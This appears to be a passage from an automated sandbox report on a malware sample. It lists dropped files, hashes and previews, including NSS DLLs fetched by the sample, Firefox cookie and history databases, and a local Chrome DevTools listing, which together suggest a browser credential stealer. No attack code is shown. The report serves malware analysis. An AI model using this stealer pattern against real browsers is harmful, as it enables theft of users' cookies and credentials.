TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF394de.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089731037834546
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfdi1zNtPMbkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn9wkzItSmd6qE7lFoC
MD5:	FA19A7320E923503BE1035DA97FBD6E1
SHA1:	2C5E8CE6B05DE800BA1F64CD16C8D6BAFD967CBF
SHA-256:	2100E7D8346A7BB96DDBBFED6511343E0196F89A8803414948449F4CA441D2F1
SHA-512:	5FE911499A0BF257AA3E7A260D3DCD4B25F55893C0F2BC81660A692DD1E0EB0EB65B75E15BA299F53E4BEB36C364F50421FA4B5B2EB84C0BADC543D86A802E53
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF394ee.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089731037834546
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfdi1zNtPMbkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn9wkzItSmd6qE7lFoC
MD5:	FA19A7320E923503BE1035DA97FBD6E1
SHA1:	2C5E8CE6B05DE800BA1F64CD16C8D6BAFD967CBF
SHA-256:	2100E7D8346A7BB96DDBBFED6511343E0196F89A8803414948449F4CA441D2F1
SHA-512:	5FE911499A0BF257AA3E7A260D3DCD4B25F55893C0F2BC81660A692DD1E0EB0EB65B75E15BA299F53E4BEB36C364F50421FA4B5B2EB84C0BADC543D86A802E53
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d0272e1b-e46b-43f3-8a7e-8850b62387b6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089731037834546
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWfdi1zNtPMbkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn9wkzItSmd6qE7lFoC
MD5:	FA19A7320E923503BE1035DA97FBD6E1
SHA1:	2C5E8CE6B05DE800BA1F64CD16C8D6BAFD967CBF
SHA-256:	2100E7D8346A7BB96DDBBFED6511343E0196F89A8803414948449F4CA441D2F1
SHA-512:	5FE911499A0BF257AA3E7A260D3DCD4B25F55893C0F2BC81660A692DD1E0EB0EB65B75E15BA299F53E4BEB36C364F50421FA4B5B2EB84C0BADC543D86A802E53
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.38902549300887
Encrypted:	false
SSDEEP:	48:SfNaoQ+EjTEQ+1fNaoQ3AQ3ofNaoQQ38QQkfNaoQ93ye0UrU0U8Q9x:6NnQ5TEQ0NnQwQkNnQQ38QQQNnQ93ye4
MD5:	8FFD3188B3FEB0667723F2DE15FA1C15
SHA1:	EAE32D2C2AE9874103827C398AB64290C4DFF1CB
SHA-256:	B1E1A7FAE74C83D5A3D8F0BA0E6117396CEF5B5B492BBF82C8A62D81C7CF0DD3
SHA-512:	704DF7FF3E00AF1C8D39726D932584B59F175FEB76DD3408725997DDDCF59D1BE228FE29F3EB1DA424AB2654FCEEE017D5532B9A29B760E10C8E2FF22FE1271A
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A05B6DA64D779C70155D80B4A4C041FC",.. "id": "A05B6DA64D779C70155D80B4A4C041FC",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A05B6DA64D779C70155D80B4A4C041FC"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/1E1D1089A7E30E6839374BCF8D0252C2",.. "id": "1E1D1089A7E30E6839374BCF8D0252C2",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/1E1D1089A7E30E6839374BCF8D0252C2"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\2BI8rJKpBa.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.468606845438737
Encrypted:	false
SSDEEP:	6144:lzZfpi6ceLPx9skLmb0f2ZWSP3aJG8nAgeiJRMMhA2zX4WABluuNejDH5S:dZHt2ZWOKnMM6bFpkj4
MD5:	79A0E2AEB04EE64654F42ABC43B588D7
SHA1:	1354ABB10114C13D037C104A151B6EC9C2B61ED2
SHA-256:	78093307F73F99E3F6F5159F713F28E5E4A5043D5D61A2FB691CB95DE70D2377
SHA-512:	60F6C3633414209DEC93BBF494E8D6601B0F776CF1530016468D182D934F8D162FF6795518C271B7CBEEA45624395266228DC5A8114B3CA2F431D8E413D42E3C
Malicious:	false
Preview:	regfI...I....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...)S..............................................................................................................................................................................................................................................................................................................................................E..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2788)
Category:	downloaded
Size (bytes):	2793
Entropy (8bit):	5.842882753600974
Encrypted:	false
SSDEEP:	48:0ocQmbPGKlgZ01OFRh+j5ANCY8r1Xz5YqgJkPSGM2suWxRVK9aQhxAuuSEqmfffT:2PP9liHRhw2NCbBt/wke2RWxW9yffffT
MD5:	475D9A00F3F916B6A563D25468ED7154
SHA1:	2F4ADC1F67C48DFEFAF3677AA1E6F9A4CE3FB68E
SHA-256:	092A03025A2FF29155A1E3F3E2358D35A273FBF395652A37705D0F74EE56D0D0
SHA-512:	23C8F62683F39D926D80CB78685295F2404003063AFE0C3C0D373C80690BE26FE9FF5ECEBB5C37C792ED452CC1DE0C730D866C61816CF5385B0000C9E1A83189
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nyt strands hints","minneapolis snow emergency parking","tesla recalls","2025 all star game","helldivers killzone crossover","atlanta braves","final jeopardy answer today","monopoly go greeting journey rewards"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CgcvbS8weDJwEg1CYXNlYmFsbCB0ZWFtMsIKZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFFQUFBQUE4Q0FNQUFBRGhWMHhXQUFBQWUxQk1WRVVUSjAvLy8vOUVUV2dOSkUwQUFEZ0FBRDBBQURvQUFFQUZJRXNBRUVRQUhrb0FBRFlBRWtRQUdrZ0FEa01BR0VmRng4NnVzYnY0K1BtZW9xNTNmWStJalp5bnE3Wk9WM0VBQ0VGSVVtMlJscVR2OFBMYzNlRzN1c1BtNStyVjF0dGNaSHN4UDE5cmNvWXFPRm9kTGxRQUFESThSMlVBQUNZQUFDeU05NUlyQUFBRElVbEVRVlJJaWFWVzY3cWlJQlNGQUVNa05iVTBUYk04eDVuM2Y4SkJOcHAyN0dETS90UGxjK0crckxYWUNMbUVQRGpCeG9oWVd2N0hDWnhtRmM2NU0zNi91MkljTTFlNFlFZXNBaEZIZkxpckJud2FPdUs5MH

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132723
Entropy (8bit):	5.436420299340616
Encrypted:	false
SSDEEP:	3072:fAkJQ7O4N5dTm+syHEt4W3XdQ4Q6SuSr/nUW2i6o:flQ7HTt/sHdQ4Q6SDfUW8o
MD5:	180ABEEF51C8071A2B58B29518D10B53
SHA1:	08649BF26E926BE0293EF9DD53C515222DF0AA1C
SHA-256:	88D42C8F40D71DD06BBFCF1D574AD5C75CF9F161F1CED39906D8C984292142A4
SHA-512:	94FF70E6189107732B428009C2E2D498358D500B16844C604301DB867FE6CD99309A05916DB2BB0101C19CDC2B811E8C48DF41D852DAABC6C607A6FAA77F6C33
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2410)
Category:	downloaded
Size (bytes):	175897
Entropy (8bit):	5.549876394125764
Encrypted:	false
SSDEEP:	3072:t0PuJ7UV1+ApsOC3Ocr4ONnv4clQfOQMmzIWrBQoSpFMgDuq1HBGANYmYALJQIfr:t0PuJQ+ApsOOFZNnvFlqOQMmsWrBQoSd
MD5:	2368B9A3E1E7C13C00884BE7FA1F0DFC
SHA1:	8F88AD448B22177E2BDA0484648C23CA1D2AA09E
SHA-256:	577E04E2F3AB34D53B7F9D2F6DE45A4ECE86218BEC656B01DCAFF1BF6D218504
SHA-512:	105D51DE8FADDE21A134ACA185AA5C6D469B835B77BEBEC55A7E90C449F29FCC1F33DAF5D86AA98B3528722A8F533800F5146CCA600BC201712EBC9281730201
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu0yU9RTMfNNC-LVUmaaNKwIO136g"
